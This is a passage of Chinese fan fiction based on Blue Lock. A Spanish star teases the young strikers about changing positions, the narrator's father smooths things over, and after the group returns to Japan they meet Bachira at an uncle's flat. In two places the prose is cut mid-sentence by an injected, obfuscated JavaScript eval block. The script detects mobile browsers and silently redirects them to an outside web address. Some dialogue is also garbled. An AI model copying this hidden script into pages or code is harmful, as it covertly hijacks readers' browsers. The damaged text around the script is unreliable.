卢纳那双祖母绿的眼眸里笑意更浓了,像阳光下波光粼粼的深潭,迷人却探不到底。他非但没有丝毫被拒绝的尴尬,反而像是发现了更有趣的玩具,目光饶有兴致地扫过我身后那三个表情各异的少年。 “Ah, don’t be shy~(啊,别害羞嘛~)”他拖着慵懒的调子,晃了晃手中那个扎着金色缎带的深色木盒,“好东西当然要和朋友分享才有意思!”他转向玲王、凪和洁世一,笑容灿烂得晃眼,刻意放慢了语速,确保每个人都能听懂,e on, boys! Madrid’s specialty! A little midnight snack won’t hurt! I promise I won’t leave your friends out~(来吧,小伙子们!马德里的特产!一点宵夜无伤大雅!我保证不会抛下你们的朋友哦~)” 空气瞬间凝固了。 玲王脸上的担忧和因奔跑而泛起的红晕迅速褪去,取而代之的是一种混合着警惕和本能排斥的疏离感。他紫色的眼眸微眯,嘴角习惯性扬起的礼貌弧度变得有些僵硬,没有接话,只是不着痕迹地朝我这边又挪近了半步,身体姿态充满了无声的防御性。那盒点心?他看都没看一眼。 凪诚士郎的反应更直接。他陷在沙发里的巨大身躯连动都懒得动一下,只是微微掀起眼皮,那双半睁着的黑色眼睛懒洋洋地瞥了卢纳和他手中的盒子一眼,随即又像失去兴趣般耷拉下去,鼻腔里发出一声几不可闻的、带着浓浓轻蔑意味的轻哼。 洁世一则是彻底懵了。他英语本就磕磕绊绊,卢纳那带着浓重西语口音、语速虽慢但用词随意的英语对他来说简直是天书。他只能捕捉到几个零星的单词“boys”、“snack”、“friends”,再结合卢纳看向他们的笑容和手里的点心盒,大概明白是在邀请他们吃东西。但这突如其来的热情邀请,对象还是清田先生的朋友、一位世界级球星,让本就紧张的他更加手足无措。他看看玲王,又看看凪,最后求助般地望向我,脸颊涨得通红,嘴巴张了张,却一个字也说不出来,像个被按了静音键的玩偶。 场面冷得能结冰。只有卢纳,像个坐在舞台中央的演员,饶有兴致地欣赏着台下观众各异的反应。他那张英俊得无可挑剔的脸上,笑容依旧完美无瑕,带着一种洞悉一切的玩味。他耸了耸肩,仿佛对冷场毫不在意,自顾自地迈开长腿,极其自然地走向房间内那张靠窗的舒适单人椅——刚才凪瘫过的位置旁边——然后姿态优雅地坐了下来,将那盒精致的点心随手放在了旁边的小圆几上。 他坐下的动作带着一种训练有素的松弛感,修长的双腿交叠,身体微微后靠,祖母绿的眼眸在我们四人身上流转了一圈,最后定格在玲王、凪和洁世一身上。脸上的笑容收敛了几分,不再是那种玩世不恭的轻佻,却依旧带着一种居高临下的审视。 “So,” 他开口,声音低沉悦耳,话题转得突兀又自然,像一把精准的手术刀划开了沉默,“Strikers? All three of you?(所以,都是前锋?你们三个?)” 这个问题像一颗投入死水的小石子,激起了不同的涟漪。 玲王眉头微不可察地蹙了一下,紫眸中的警惕更甚。洁世一像是终于抓到了一个能理解的问题核心词,身体瞬间绷直,下意识地就想点头回答“是”。凪依旧瘫着,仿佛没听见。 卢纳没等他们的回答,或者说,他并不真的需要答案。他自顾自地继续道,手指轻轻敲击着光滑的木质扶手,发出轻微的笃笃声:“My club, Real, has a Japanese boy too. Around your age.(我的俱乐部,REAL,也有个日本男孩。和你们差不多大。)”他顿了顿,祖母绿的眸子里闪过一丝不易察觉的、类似怀念又或者纯粹是炫耀的光芒,“Brilliant. Used to be a striker too. The ‘Treasure of Japan’.(非常杰出。以前也踢前锋。‘日本的至宝’。)” 一个名字,如同闪电般劈开了我记忆深处某个尘封的角落。 “Sae Itoshi.(糸师冴。)”卢纳清晰地吐出这个名字。 糸师冴! 那个名字!那张脸!瞬间清晰地浮现在眼前——并非现实中相识,而是无数次在电视插播的足球新闻、在体育杂志的封面角落。比我年长几岁,一头如同燃烧枫叶般的豆沙红短发,湖水般沉静的绿眼睛下方,长着令人过目难忘的、浓密而突出的下睫毛。记忆最深的画面,是他捧起某个分量不轻的少年组冠军奖杯时,身边站着一个和他眉眼极其相似、却显得稚嫩许多的小豆丁。那小豆丁有着深绿色的头发,同样长长的下睫毛,正努力踮着脚尖,一脸崇拜又骄傲地仰望着哥哥举起奖杯。那是我童年为数不多、因父母职业而被迫接收到的足球新闻里,印象最深的一幕。那个红头发的少年,那时确实是个光芒四射的前锋冠军。 “You must know him, right? Born and raised in Japan.(你们一定认识他吧?土生土长的日本人。)”卢纳的语气带着理所当然的询问,目光在我们几人脸上逡巡。 “是!当然认识!”洁世一几乎是条件反射般地立刻回答,声音因激动而拔高,带着发自内心的崇敬,“糸师冴前辈!他是日本足球未来的希望!我们所有踢球少年的目标!”他的眼睛瞬间亮得惊人,仿佛卢纳提到这个名字本身就是一种荣耀。 玲王也点了点头,脸上的疏离感在提到这个公认的天才时稍微淡去了一些,紫眸中流露出一种属于同辈竞争者的认真评估。“糸师冴,”他声音平稳,“他确实担得起‘至宝’的称号。” 语气里是纯粹的认可,不带丝毫贬低。 而凪诚士郎…… 他慢悠悠地从沙发里抬起那颗白色的脑袋,半睁着的黑色眼睛里充满了货真价实的茫然。他歪了歪头,视线在洁世一激动的脸和玲王认真的表情上扫过,最后落回卢纳身上,用一种极其平板、毫无起伏、仿佛只是在确认“今天星期几”的语气,清晰无比地、用日语问道: “……谁?” !!! 空气仿佛被抽空了零点五秒。 洁世一像是被掐住了脖子,瞬间涨红了脸,难以置信地瞪着凪,仿佛他刚才说了什么大逆不道的话。玲王也惊愕地转头看向凪,紫眸里写满了“你在开玩笑吗”的错愕。 我下意识地屏住了呼吸,心脏都漏跳了一拍。幸好!卢纳那双祖母绿的眼睛里只有一丝极其细微的困惑闪过,显然,他听不懂日语!凪这句石破天惊的“谁?”并没有被这位世界级前锋捕捉到真实含义。 洁世一反应极快,在卢纳探究的目光再次投来之前,他猛地吸了一口气,用他那磕磕绊绊但足够清晰的英语,几乎是吼了出来:“Yes! We know him! He is famous!(是的!我们认识他!他很有名!)” 同时,他拼命地用眼神和微小的肢体动作示意玲王和凪,尤其是凪,赶紧点头! 玲王瞬间会意,立刻配合着点头,脸上重新挂起那完美的、属于御影家继承人的得体微笑。凪虽然不明所以,但感受到洁世一那几乎要燃烧起来的焦急目光,也慢吞吞地、极其敷衍地点了下头,算是蒙混过关。 卢纳似乎接受了这个答案,或者说,他并不真的在意他们是否认识。他嘴角那抹玩味的笑容重新加深,祖母绿的眼眸微微眯起,像一只发现了新猎物的狐狸。他身体微微前倾,目光带着一种近乎“热心”的蛊惑,依次扫过玲王、洁世一,最后甚至掠过依旧瘫着的凪。 “But you know,” 他拖长了语调,声音带着一种奇异的诱惑力,“you probably haven’t seen him play as a striker lately.(但你们知道吗,你们大概很久没看到他踢前锋的样子了。)” 他停顿了一下,满意地看着我脸上露出的惊讶表情,然后才慢悠悠地抛出了重磅炸弹: “He’s playing as a midfielder now.(他现在踢中场了。)” 什……什么?! 这个消息如同惊雷在我耳边炸响!我猛地抬起头,难以置信地看向卢纳。糸师冴……那个曾经在少年组赛场上叱咤风云、进球如麻的“至宝”前锋……改踢中场了?这怎么可能?!我下意识地看向玲王和洁世一,他们脸上却没什么表情。 这似乎是一件众所周知、理所当然的事情。 我因为父母的关系,早已刻意避开了所有足球新闻。在我的认知里,糸师冴还是那个红发如火、冲锋陷阵的锋线尖刀。这个转变……太突然了!也太颠覆了! 卢纳将我脸上毫不作伪的震惊尽收眼底,他似乎非常满意这个效果。他脸上的笑容更加灿烂,甚至带上了一丝不易察觉的、近乎恶作剧得逞般的得意。他微微歪着头,祖母绿的眼眸闪烁着狡黠的光芒,像一位循循善诱的大哥哥,用一种轻松愉快的口吻,抛出了那句如同投下深水炸弹般的话语: “Maybe you should try positions other than striker too?(不如你们也去试试前锋以外的位置好了?)” 他语调轻快,仿佛在建议尝试一种新口味的冰淇淋,“Who knows? Maybe you’ll find something that fits you better~(谁知道呢?说不定会有更适合你们的位置哦~)” 轰——! 如果说刚才的消息是惊雷,那么这句话简直就是引爆了火药库! 除了我——一个连足球新闻都刻意避开、对场上位置毫无执念的局外人——在场的三个男生,玲王、洁世一、甚至包括那个节能至上的凪诚士郎,脸上的表情瞬间凝固了! 玲王那双总是带着自信光芒的紫罗兰色眼眸,此刻如同结冰的湖面,寒意凛冽。他嘴角那抹完美的笑容彻底消失,下颌线绷得死紧,看向卢纳的目光锐利如刀,充满了被冒犯的冰冷怒意和毫不掩饰的审视。他引以为傲的锋线天赋,他为之付出的一切努力,在对方口中竟如此轻描淡写地被打上“可能不合适”的标签?这简直是赤裸裸的挑衅! 洁世一的脸“唰”地一下变得惨白。他那双总是充满热情和憧憬的湛蓝眼睛里,此刻盈满了巨大的震惊、茫然和被否定的巨大委屈。前锋!那是他视为信仰的位置!是他拼命训练、追逐偶像、渴望在诺亚面前证明自己的唯一道路!卢纳这句轻飘飘的建议,像一把钝刀狠狠扎在他最珍视的梦想上,让他一时间连呼吸都忘了,只是呆呆地看着卢纳,嘴唇微微颤抖。 就连凪诚士郎,那张万年没什么表情的脸上,也第一次清晰地浮现出了“不高兴”的情绪。他原本瘫软的身体微微坐直了一些,半睁着的黑色眼睛完全睁开,瞳孔里不再是慵懒的漠然,而是带着一种被侵犯了领地的、野兽般的警惕和不悦。节能不代表没有自尊,更不代表可以被人随意安排。“前锋”这个位置对他而言或许只是玲王强加的标签,但“被建议换位置”本身,就是一种对他选择的否定,麻烦且令人不爽。 整个房间的气氛降到了冰点。卢纳那轻松愉快的建议,如同一根点燃的导火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251812|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 索,引爆了三个少年心中各自骄傲的雷区。空气沉重得几乎要凝成实质,带着无声的硝烟味。我站在风暴中心,清晰地感受到玲王身上散发出的冰冷怒意,洁世一那几乎要崩溃的茫然,以及凪那沉默却极具压迫感的抵触。卢纳却依旧笑眯眯地坐在那里,像个置身事外的看客,欣赏着自己一手制造的混乱局面。 就在这剑拔弩张、几乎要让人窒息的时刻—— “Ah, Leo! Still teasing the kids?(啊,里奥!还在逗孩子们玩呢?)” 一个洪亮、爽朗、带着西班牙语口音和浓浓笑意的声音,如同阳光破开阴霾,瞬间打破了房间内令人窒息的僵局。 父亲高大的身影出现在敞开的门口,他一手随意地搭在门框上,脸上是那种看穿一切的、带着点促狭和无奈的笑容。母亲则安静地站在他身侧稍后的位置,脸上带着温和的、略带歉意的微笑,目光柔和地扫过我们几个明显情绪不对的孩子。 父亲的目光精准地扫过房间内凝固的气氛、玲王冰冷的脸色、洁世一苍白的脸、凪坐直的身体,以及我脸上残留的惊愕,最后落在笑容依旧灿烂、但眼神里带着点“被抓包”的卢纳身上。 他没有质问,没有指责,反而像老朋友叙旧般,大步流星地走了进来,极其自然地拍了拍卢纳的肩膀,力道大得让卢纳那优雅的坐姿都晃了晃。 e on, Leo!(行了,里奥!)”父亲的声音洪亮,带着一种不容置疑的掌控力,瞬间吸引了所有人的注意力,“Don’t scare them off with your ‘friendly advice’.(别用你的‘友好建议’把他们吓跑了。)” 他特意在“friendly advice”上加重了语气,带着明显的调侃。 他松开卢纳,转而面向我们,那双湛蓝如爱琴海的眼睛里闪烁着温和而睿智的光芒,笑容爽朗又带着安抚人心的力量:“Position? Ha!(位置?哈!)”他像是听到了什么有趣的笑话,摊开双手,“The pitch is big enough for everyone!(球场大得很,容得下所有人!)”他目光扫过玲王、洁世一和凪,语气带着鼓励和一种过来人的豁达,“Find where you shine brightest! That’s the key!(找到你最能发光的地方!这才是关键!)” 他顿了顿,像是想起什么,促狭地朝卢纳挤了挤眼睛:“Besides, Leo, if we all listened to your ‘advice’ when we were young, we’d all be trying to be strikers like you! And where would that leave the goalkeepers? Eh?(再说了,里奥,要是我们年轻那会儿都听你的‘建议’,现在全都在努力成为像你一样的前锋了!那守门员的位置谁来填?嗯?)” 父亲这番话,既巧妙地化解了卢纳那句极具挑衅性建议带来的紧张和敌意,又不动声色地维护了三个少年的自尊和选择权。他用一句“球场足够大”轻松抹去了位置之争的硝烟,用“找到发光点”将话题引导回积极的方向,最后还不忘用自嘲的方式点出每个位置都不可或缺的道理,顺带揶揄了卢纳一下。 效果立竿见影。 玲王紧绷的下颌线明显松弛下来,眼中的冰寒被一丝无奈和好笑取代。父亲那豁达的态度和高情商的解围,像一阵暖风,吹散了他心头的愠怒。他微微垂下眼帘,嘴角重新勾起一个浅浅的、放松的弧度。 洁世一惨白的脸色也恢复了些许血色。父亲那句“找到发光点”仿佛一道光,驱散了他心中的茫然和被否定的委屈。他用力吸了吸鼻子,看向父亲的眼神充满了感激和重新燃起的坚定。是的,重要的是找到适合自己的位置,而不是别人怎么说! 凪虽然依旧没什么表情,但那股紧绷的、如同被侵犯领地的低气压悄然消散了。他重新把自己往沙发里陷了陷,恢复了节能模式,只是那双半睁着的黑眼睛里,似乎对父亲的话多了一丝……认同? 房间内那令人窒息的沉重感瞬间烟消云散,取而代之的是一种劫后余生般的轻松和一丝尴尬过后的微妙笑意。连卢纳脸上的笑容都变得真诚了一些,他耸耸肩,摊开手,用西班牙语低声嘟囔了一句什么,大概是在抱怨父亲“总是这么会说话”。 母亲这时才微笑着走上前,温柔地打破了短暂的沉默:“好了,一场误会。小爱刚醒,肯定饿坏了。世一君,玲王君,你们带来的点心呢?先让爱垫垫肚子要紧。” 她的目光温和地落在我身上,带着安抚和关切。 洁世一这才如梦初醒,连忙拿起他之前放在圆桌上的果盘:“啊!对!清田同学,水果!很新鲜!” 玲王也立刻想起他怀里的“药店大礼包”,脸上闪过一丝懊恼,赶紧把那个鼓鼓囊囊的塑料袋放在桌上,动作麻利地翻找起来:“爱,这里有能量棒!还有电解质冲剂!你先吃这个顶一下,我马上让酒店厨房送热食上来!” 看着他们瞬间忙碌起来的身影,看着桌上玲王翻找出的各种能量补充品和洁世一端来的果盘,再看看旁边沙发上重新瘫回去、仿佛刚才一切都没发生的凪,以及不远处父亲正拍着卢纳肩膀、两人似乎在低声交流着什么、气氛已然恢复融洽的画面…… 心底那点因卢纳的恶趣味而升起的烦躁和不安,终于彻底消散了。取而代之的,是一种暖洋洋的、被保护、被在意着的踏实感。 我接过玲王递来的、包装精美的能量棒,又叉起一块洁世一果盘里切好的蜜瓜。 甜意混合着能量棒的谷物香气在舌尖弥漫开。 嗯,虽然过程有点波折,但这迟来的“宵夜”,味道似乎还不错。 13. 回日本啦! 告别西班牙,我们接下来又去往了意大利、法国、英格兰等等。如同被父亲这位精力无穷的退役“门神”强行塞进了一台高速运转的足球主题观光机,从一个顶级豪门的训练基地奔赴另一个,从一场令人窒息的训练观摩赶到另一场战术分析会。阳光、汗水、青草的气息、不同语言的战术板线条、飞机引擎的轰鸣、酒店陌生的枕头……各种感官信息如同被粗暴搅拌的颜料桶,糊成一片混沌的色彩。身体积累的疲惫像是不断加码的沙袋,沉甸甸地坠着四肢百骸。玲王眼中的兴奋光芒倒是始终未减,洁世一的笔记本早已翻得卷了边,凪则彻底进化成了节能主义堡垒,除了必要的移动和进食,基本处于“待机充电”状态。 旅程终于迎来了尾声。巨大的客机平稳地降落在关西国际机场,熟悉的日式广播响起,带着一丝归家的暖意,却也夹杂着盛夏午后特有的粘稠闷热。脚踏实地的瞬间,竟有种不真切的恍惚感。欧洲那瑰丽而疏离的画卷仿佛被瞬间卷起,塞进了记忆的角落,取而代之的是机场大厅里熟悉又略显嘈杂的日语,以及窗外那过分耀眼的、属于日本七月的阳光。 父亲显然还沉浸在“导游”兼“教练考察员”的角色里,精神头十足地指挥着舅舅清田智辉和家里的司机佐藤先生搬运行李。母亲则带着温柔的倦意,轻轻拍了拍我的手臂。 洁世一站在我们旁边,背着他那个塞满了笔记和纪念品的鼓鼓囊囊的背包,脸上既有长途跋涉后的疲惫,又有着满载而归的兴奋与不舍。那两撮标志性的V字呆毛似乎都蔫了一点,但眼神依旧亮晶晶的。 “世一君,”父亲洪亮的声音响起,他拍了拍洁世一的肩膀,笑容爽朗,“这趟辛苦啦!见识了不少好东西吧?回去好好消化!佐藤,”他转向司机,“麻烦你送世一君回家,务必安全送到家门口!” “是!先生!”佐藤先生立刻应声,恭敬地对洁世一做了个“请”的手势。 洁世一连忙鞠躬,声音带着真诚的感激:“非常感谢清田先生!清田夫人!清田同学!还有大家!这次旅行,我……我真的学到了很多!非常感谢!”他又依次向我们鞠躬,目光扫过玲王、凪和我,最后才跟着佐藤先生走向等候的轿车。 看着洁世一坐进车里,车窗缓缓升起,我心底那点因旅途结束而升起的空落感,被一种“总算送走一个”的微妙轻松取代。这家伙的精力……某种程度上也挺可怕的。 就在车子驶离的尾气还未散尽时,一个几乎快要被遗忘的声音,带着点犹豫和刻意压低的神秘感,在我身边响了起来。 “那个……小爱啊。” 我诧异地转头。舅舅清田智辉不知何时凑到了我旁边。他脸上带着一种混合着讨好、心虚和某种难以言喻的期待的表情,搓着手,眼神躲闪,像极了小时候偷偷塞给我糖果又怕被母亲发现的样子。他这副模样……太反常了!要知道,自从欧洲之旅开始,这位舅舅的存在感就稀薄得像机场免税店派发的试用装香水,大部分时间都在默默履行“后勤部长”的职责,安静得像背景板。 “嗯?舅舅?”我疑惑地看着他。 “咳咳,”舅舅清了清嗓子,努力让自己的声音听起来自然,“那个……回来了,累坏了吧?”他顿了顿,目光在我脸上转了一圈,又飞快地瞟了一眼站在我旁边的玲王和稍远些、灵魂似乎还在云端漂浮的凪,然后像是下定了决心,用一种刻意营造的、充满怀念的语气问道:“想不想……小丸子了?” 小丸子? 这个名字像一颗投入平静心湖的石子,瞬间漾开了一圈圈温暖的涟漪。 那是一只柴犬。一只从我上幼稚园、甚至在认识那个紫色脑袋的“天之骄子”御影玲王之前,就出现在舅舅家里的、毛茸茸的温暖存在。圆溜溜的黑眼睛,总是微微上翘、仿佛在微笑的嘴角,蓬松的、金黄色的毛发摸起来像上好的绸缎。它陪伴了我整个懵懂的幼年,是我在父母因足球事业长期缺席的日子里,除了保姆之外,为数不多的、能无条件接纳我所有小情绪、给予纯粹温暖的伙伴。每次去舅舅家,扑上来热情舔舐我手心的小丸子,和舅舅那爽朗的笑声,几乎构成了我对“家”的另一种温馨定义。 “小丸子……”我喃喃出声,心底那点被旅途和时差搅乱的疲惫感,似乎被这个名字带来的暖意驱散了不少,嘴角不自觉地向上弯起,“当然想啊!它还好吗?” “好!好得很!胖了一圈!”舅舅见我反应积极,脸上的笑容立刻灿烂起来,带着点“计划通”的小得意。他随即又转向玲王,用一种熟稔又带着点长辈式邀请的语气问道:“玲王少爷要不要也去我家坐坐?看看小丸子?它可还记得你呢,每次电视上看到紫色头发的人还会叫两声。” 这当然是舅舅的夸张说辞,但确实,玲王小时候跟我一起去舅舅家玩时,小丸子对他那头醒目的紫发表现出了极大的好奇。 御影玲王显然没料到话题会突然拐到一只柴犬身上。他愣了一下,那双漂亮的紫罗兰色眼睛眨了眨,似乎还在消化从欧洲顶级豪门到东京一只柴犬的巨大跨度。但看到我脸上流露出的、罕见的、带着真切怀念和期待的笑容时,他几乎是没有任何犹豫,立刻扬起了他那标志性的、无懈可击的王子式微笑,点头应道:“当然,智辉叔叔。我也很久没见到小丸子了,很想念它。” 语气真诚,仿佛那只柴犬是他失散多年的挚友。 至于凪诚士郎…… 舅舅的目光刚移过去,还没开口,凪那没什么起伏的、带着浓重“电量耗尽”气息的声音就提前响了起来,言简意赅,斩钉截铁: “……不要。回家。睡觉。” 每一个音节都透着“勿扰,节能中”的坚决。他甚至往后退了半步,用实际行动表达着对一切“额外社交活动”的抗拒。 舅舅显然非常了解凪的“节能”属性,也没强求,只是了然地笑了笑:“行,那诚士郎君好好休息!小爱,玲王少爷,走!上车!” 舅舅的车是一辆宽敞的SUV,内部收拾得很干净,带着淡淡的皮革清洁剂和车载香氛的味道。车子驶离机场,汇入通往东京都内的车流。窗外的风景从开阔的机场高速逐渐变成密集的城市建筑群,熟悉的东京街景飞速掠过。玲王坐在副驾,和舅舅有一搭没一搭地聊着欧洲见闻,话题轻松。我靠在后座,看着窗外飞逝的街灯和行人,思绪却不由自主地飘回了舅舅那间总是充满阳光和小丸子欢快叫声的公寓。 车子最终驶入一片环境清幽的高档住宅区,停在一栋外观雅致的公寓楼下。舅舅停好车,率先跳下车,动作轻快地打开了后备箱取我们的随身行李。 “走走走,小丸子肯定等急了!”舅舅的声音带着兴奋,像是迫不及待要展示什么宝贝。 我跟在舅舅身后,玲王也自然地走在我旁边。电梯平稳上升,停在熟悉的楼层。舅舅掏出钥匙,嘴里还哼着不成调的小曲,咔哒一声打开了家门。 “我回来啦!小丸子!看看谁来了?”舅舅洪亮的声音在玄关响起。 然而,预想中柴犬兴奋的吠叫和扑上来的热情迎接并没有出现。 取而代之的,是一阵极其欢快、甚至有些肆无忌惮的、属于少年人的清亮笑声,以及……小丸子那熟悉的、但明显更加兴奋雀跃的“呜呜”声和爪子扒拉地板的声响? 我和玲王对视一眼,都在对方眼中看到了同样的疑惑。 跟着舅舅走进光线明亮的客厅,眼前的景象让我和玲王都瞬间定在了原地。 客厅中央,柔软的米白色地毯上,一个陌生的少年正毫无形象地和小丸子滚作一团! 少年看起来和我们年纪相仿,身材匀称而富有活力。他有着一头乌黑柔顺的短发,但后脑勺下方一大片头发却是极其醒目、如同阳光般耀眼的亮黄色发内挑染,形成强烈的视觉冲击。几缕黑色的发尾俏皮地向上翘着,随着他的动作轻轻晃动。此刻,他正仰面躺在地毯上,笑得见牙不见眼,露出一口整齐的白牙。那双眼睛是极其漂亮的、如同融化蜂蜜般的暖金色,此刻正弯成了两道愉悦的月牙,里面盛满了纯粹而热烈的快乐。 而我们家那只“稳重”的小丸子,此刻全然没了平时在客人面前的那份矜持!它正兴奋地围着少年打转,毛茸茸的大尾巴摇得像装了马达,时不时用湿漉漉的鼻子去拱少年的脸颊和脖子,喉咙里发出“呜呜”的撒娇声,甚至还伸出粉嫩的舌头热情地舔舐着少年的下巴。少年则大笑着,一边躲闪,一边伸手去揉小丸子蓬松的颈毛,动作亲昵自然,仿佛他们才是相处多年的主人与爱犬。 阳光透过巨大的落地窗洒进来,将这幅充满动感、笑声和金色毛发的画面镀上了一层温暖的光晕。整个客厅都仿佛因为这一人一犬的嬉闹而充满了勃勃生机。 舅舅看着这一幕,脸上露出了极其满意的、甚至有点小得意的笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251813|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容。他清了清嗓子,故意提高了音量:“喂!蜂乐!别光顾着玩!来客人了!” 地毯上正和小丸子“搏斗”的少年闻声,动作猛地顿住。他像只机警的猫,瞬间抬起头,那双蜂蜜色的眼眸精准地朝我们这边扫了过来。目光先是落在舅舅身上,带着点被打断的意犹未尽,随即迅速移向站在门口、表情惊愕的我和玲王。 他脸上的笑容并未消失,只是从刚才那种毫无顾忌的放声大笑,收敛成了一种更加灿烂、更加明媚、带着点好奇和天然亲和力的笑容。他利落地一个翻身坐了起来,随手拍了拍粘在黑色T恤上的几根金色狗毛。小丸子似乎还不满足,用脑袋蹭着他的腿,被他笑着揉了揉头顶。 “啊!智辉叔叔你回来啦!”少年的声音清亮悦耳,带着少年人特有的活力,语调轻快得像跳跃的音符。他一边说着,一边站起身,动作带着一种舞蹈般的轻盈感,几步就走到了我们面前。 那双蜂蜜色的眼眸带着毫不掩饰的好奇,在我和玲王身上来回打量了一圈,最终定格在我脸上。他的笑容更加扩大,露出了两颗小小的虎牙,显得既阳光又带着点顽皮。 “你们好呀!”他元气满满地打招呼,声音清脆,“我叫蜂乐回!是智辉叔叔的朋友的妻子的朋友的儿子!”他语速飞快地报出了一长串复杂的关系,却说得无比自然流畅,仿佛这是世界上最理所当然的自我介绍。他顿了顿,蜂蜜色的眼睛弯弯的,像盛满了阳光的琥珀,补充道:“这段时间小丸子是我罩着的哦!它超——级可爱!” 蜂乐……回? 这名字……还有这过于复杂的“关系户”身份介绍……以及那头醒目的黄黑挑染和那双仿佛会发光的蜂蜜色眼睛……信息量有点大。 我下意识地看向舅舅,眼神里充满了询问:这又是怎么回事? 舅舅接收到我的目光,立刻解释道:“啊,是这样!我不是要跟你们去欧洲嘛,时间还挺长,小丸子一个人在家我不放心,托给宠物旅馆又怕它不适应。正好!”他指了指蜂乐回,“蜂乐他妈妈,是我一个老朋友老婆的朋友,一位很有才华的单身画家。蜂乐放暑假了,他妈妈又正好要闭关创作一阵子,东京这边呢,蜂乐一直想来看看。我就想着,一举两得!让蜂乐来东京玩玩,顺便帮我照看小丸子,给它做个伴!你看,”舅舅得意地看向正蹭着蜂乐腿的小丸子,“相处得多好!比跟我还亲!” 原来如此……画家母亲的儿子……暑假来东京寄住……顺便兼职狗保姆…… 这理由听起来合情合理,只是……为什么感觉我们家最近特别容易“捡”到同龄的、还都跟足球沾点边的男孩子?先是洁世一,现在又是这个笑容过分灿烂、看起来活力四射的蜂乐回? 就在这时,我身边的御影玲王终于从最初的震惊中缓过神来。他那双漂亮的紫罗兰色眼睛微微睁大,看看正蹲下去和小丸子顶脑门的蜂乐回,又看看一脸“我很机智快夸我”表情的舅舅,最后目光落在我脸上,用一种混合着深深困惑、浓浓无奈和一丝“历史重演”的荒谬感的语气,低声嘟囔道: “……爱,你们家……或者说智辉叔叔家,是不是有什么专门吸引……呃,‘特殊青少年’的神秘磁场?”他刻意压低了声音,但“特殊青少年”几个字咬得格外清晰,目光还意有所指地扫过正享受小丸子亲昵的蜂乐回,以及虽然没来但存在感依旧强大的洁世一和凪。“这频率……是不是有点太高了?” 我被他这精准的吐槽噎了一下,没好气地白了他一眼。这家伙,自己还不是一声不吭就把凪诚士郎这么大一个“节能问题儿童”强行拐进了足球部?现在倒好意思来质疑别人家的“磁场”? “玲王大人,”我微微侧过头,用只有他能听清的声音,带着点促狭的笑意回敬道,“麻烦你先看看自己身后再发言。别忘了,你自己可是‘拐带’凪同学的头号‘人贩子’。” 我特意在“拐带”和“人贩子”上加了重音。 玲王被我噎得俊脸微微一红,下意识地回头看了一眼——当然,凪并不在。但这动作本身就显得有点心虚。他张了张嘴,似乎想反驳,但看着蜂乐回那灿烂得毫无阴霾的笑容和小丸子对他全然的信赖,再看看舅舅那副理所当然的样子,最终只是无奈地耸了耸肩,紫眸里掠过一丝认命般的笑意。 好吧,五十步笑百步。他御影玲王,确实也没什么立场吐槽别人家的“磁场”了。 14. 蜂乐爷爷 蜂乐回是个性格活泼开朗的男生,在他跟小丸子玩的不亦乐乎的时候就能发现。 他那头醒目的黑黄挑染随着他和小丸子在地毯上翻滚嬉闹的动作跳跃着,像两簇跃动的火焰。暖金色的眼眸弯成了月牙,清亮的笑声和柴犬兴奋的“呜呜”声充满了舅舅家宽敞明亮的客厅。小丸子似乎完全忘记了自己是只十几岁、理论上该稳重些的老柴犬,尾巴摇成了螺旋桨,湿漉漉的鼻子在蜂乐脸上、脖子上蹭来蹭去,粉红的舌头热情地舔舐着,喉咙里发出满足的呼噜声。 我和御影玲王并肩坐在客厅一角的榻榻米坐垫上,看着眼前这过分热闹和谐的一幕。玲王姿态依旧优雅,只是眼神里带着点新奇和笑意,显然对这种“人狗滚作一团”的原始快乐感到有趣。他端起舅舅刚泡好的抹茶,抿了一口。 “说起来,”我看着小丸子又一次把蜂乐扑得后仰,忍不住笑着对玲王说,“玲王你还记得你第一次来舅舅家,被小丸子‘热烈欢迎’的样子吗?” 玲王端着茶杯的手几不可察地顿了一下。 “那时候它还是只小狗呢,精力比现在还旺盛。”我无视了他眼中瞬间闪过的警惕,继续揭老底,“你刚脱了鞋子,它就‘嗖’地一下冲过来,抱着你的腿又蹭又舔。你当时吓得‘哇’一声就往舅舅身后躲,脸都白了,结果小丸子以为你在跟它玩,追着你满客厅跑,最后把你堵在沙发角落里,扑上去就是一顿口水洗脸……” “爱!”玲王放下茶杯,白皙的脸颊以肉眼可见的速度泛起一层薄红,一直蔓延到耳根。他紫罗兰色的眼睛瞪着我,里面充满了被戳破黑历史的羞窘和强装的镇定,“都说了那是小时候!而且我当时才五岁!谁、谁知道它会那么热情!什么吓哭……太夸张了!” 他语速飞快地辩解着,试图维护“白宝王子”无所不能的形象,但那泛红的耳尖彻底出卖了他。 他这副欲盖弥彰的样子让我笑得更开心了:“哪里夸张?你当时眼圈都红了,抱着舅舅的腿死活不撒手,说‘智辉叔叔快让它走开!’ 最后还是我拿小丸子最喜欢的磨牙棒才把它引开的。你脸上全是它亮晶晶的口水印,擦了好久呢。” “啊啊啊!够了!不许再说了!”玲王终于破功,伸手过来作势要捂我的嘴,脸上是货真价实的羞恼,紫眸里水光潋滟,配上那抹红晕,生动得不像话。“那都是多少年前的事了!清田爱同学,请你尊重一下我的黑历史,让它永远尘封好吗?” 他压低声音,咬牙切齿地“威胁”,但眼底深处却藏着一丝不易察觉的、因被提及幼年糗事而产生的微妙亲昵感。 